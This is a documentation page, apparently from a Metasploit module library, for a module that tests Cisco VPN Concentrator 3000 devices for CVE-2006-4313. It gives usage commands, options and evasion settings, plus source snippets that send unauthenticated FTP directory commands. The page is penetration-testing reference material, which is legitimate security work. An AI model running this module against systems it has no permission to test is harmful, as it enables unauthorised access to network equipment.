Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access - Metasploit
This page contains detailed information about how to use the auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access
Module: auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass
Source code: modules/auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass.rb
Disclosure date: 2006-08-23
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 21
List of CVEs: CVE-2006-4313
This module tests for a logic vulnerability in the Cisco VPN Concentrator 3000 series. It is possible to execute some FTP statements without authentication (CWD, RNFR, MKD, RMD, SIZE, CDUP). It also appears to have some memory leak bugs when working with CWD commands. This module simply creates an arbitrary directory, verifies that the directory has been created, then deletes it and verifies deletion to confirm the bug.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass
msf auxiliary(cisco_vpn_3000_ftp_bypass) > show targets
... a list of targets ...
msf auxiliary(cisco_vpn_3000_ftp_bypass) > set TARGET target-id
msf auxiliary(cisco_vpn_3000_ftp_bypass) > show options
... show and set options ...
msf auxiliary(cisco_vpn_3000_ftp_bypass) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the admin/networking/cisco_vpn_3000_ftp_bypass auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass
msf6 auxiliary(admin/networking/cisco_vpn_3000_ftp_bypass) > show info
Name: Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access
Module: auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2006-08-23
Provided by:
aushack <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Description:
This module tests for a logic vulnerability in the Cisco VPN
Concentrator 3000 series. It is possible to execute some FTP
statements without authentication (CWD, RNFR, MKD, RMD, SIZE, CDUP).
It also appears to have some memory leak bugs when working with CWD
commands. This module simply creates an arbitrary directory,
verifies that the directory has been created, then deletes it and
verifies deletion to confirm the bug.
References:
http://www.securityfocus.com/bid/19680
https://nvd.nist.gov/vuln/detail/CVE-2006-4313
OSVDB (28139)
OSVDB (28138)
Module Options
This is a complete list of options available in the admin/networking/cisco_vpn_3000_ftp_bypass auxiliary module:
msf6 auxiliary(admin/networking/cisco_vpn_3000_ftp_bypass) > show options
Module options (auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Advanced Options
Here is a complete list of advanced options supported by the admin/networking/cisco_vpn_3000_ftp_bypass auxiliary module:
msf6 auxiliary(admin/networking/cisco_vpn_3000_ftp_bypass) > show advanced
Module advanced options (auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/networking/cisco_vpn_3000_ftp_bypass module can do:
msf6 auxiliary(admin/networking/cisco_vpn_3000_ftp_bypass) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/networking/cisco_vpn_3000_ftp_bypass auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/networking/cisco_vpn_3000_ftp_bypass) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Server reports "not a regular file". Directory verified.
Here is a relevant code snippet related to the "Server reports "not a regular file". Directory verified." error message:
55: if (res =~ /257 MKD command successful\./)
56: print_status("\tDirectory #{test} reportedly created. Verifying with SIZE #{test}")
57: sock.put("SIZE #{test}\r\n")
58: res = sock.get_once(-1, 5)
59: if (res =~ /550 Not a regular file/)
60: print_status("\tServer reports \"not a regular file\". Directory verified.")
61: print_status("\tAttempting to delete directory: RMD #{test}")
62: sock.put("RMD #{test}\r\n")
63: res = sock.get_once(-1, 5)
64: if (res =~ /250 RMD command successful\./)
65: print_status("\tDirectory #{test} reportedly deleted. Verifying with SIZE #{test}")
Directory <TEST> no longer exists!
Here is a relevant code snippet related to the "Directory <TEST> no longer exists!" error message:
63: res = sock.get_once(-1, 5)
64: if (res =~ /250 RMD command successful\./)
65: print_status("\tDirectory #{test} reportedly deleted. Verifying with SIZE #{test}")
66: sock.put("SIZE #{test}\r\n")
67: sock.get_once(-1, 5)
68: print_status("\tDirectory #{test} no longer exists!")
69: print_status('Target is confirmed as vulnerable!')
70: end
71: end
72: end
73: else
Target is either not Cisco or the target has been patched.
Here is a relevant code snippet related to the "Target is either not Cisco or the target has been patched." error message:
68: print_status("\tDirectory #{test} no longer exists!")
69: print_status('Target is confirmed as vulnerable!')
70: end
71: end
72: end
73: else
74: print_status('Target is either not Cisco or the target has been patched.')
75: end
76: disconnect
77: end
78: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13750 Merged Pull Request: Centralize networking
References
- BID-19680
- CVE-2006-4313
- OSVDB (28139)
- OSVDB (28138)
See Also
Check also the following modules related to this module:
- auxiliary/admin/networking/cisco_asa_extrabacon
- auxiliary/admin/networking/cisco_config
- auxiliary/admin/networking/cisco_dcnm_auth_bypass
- auxiliary/admin/networking/cisco_dcnm_download
- auxiliary/admin/networking/cisco_secure_acs_bypass
- auxiliary/admin/http/cisco_7937g_ssh_privesc
- auxiliary/admin/networking/arista_config
- auxiliary/admin/networking/brocade_config
- auxiliary/admin/networking/f5_config
- auxiliary/admin/networking/juniper_config
- auxiliary/admin/networking/mikrotik_config
- auxiliary/admin/networking/ubiquiti_config
- auxiliary/admin/networking/vyos_config
- auxiliary/dos/cisco/cisco_7937g_dos
- auxiliary/dos/cisco/cisco_7937g_dos_reboot
- auxiliary/gather/cisco_pvc2300_download_config
- auxiliary/gather/cisco_rv320_config
- auxiliary/scanner/http/cisco_asa_asdm
- auxiliary/scanner/http/cisco_asa_asdm_bruteforce
- auxiliary/scanner/http/cisco_asa_clientless_vpn
- auxiliary/scanner/http/cisco_device_manager
- auxiliary/scanner/http/cisco_directory_traversal
- auxiliary/scanner/http/cisco_firepower_download
- auxiliary/scanner/http/cisco_firepower_login
- auxiliary/scanner/http/cisco_ios_auth_bypass
- auxiliary/scanner/http/cisco_ironport_enum
- auxiliary/scanner/http/cisco_nac_manager_traversal
- auxiliary/scanner/http/cisco_ssl_vpn
- auxiliary/scanner/http/cisco_ssl_vpn_priv_esc
- auxiliary/scanner/ike/cisco_ike_benigncertain
- auxiliary/scanner/misc/cisco_smart_install
- auxiliary/scanner/snmp/cisco_config_tftp
- auxiliary/scanner/snmp/cisco_upload_file
- auxiliary/voip/cisco_cucdm_call_forward
- auxiliary/voip/cisco_cucdm_speed_dials
Authors
- aushack
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.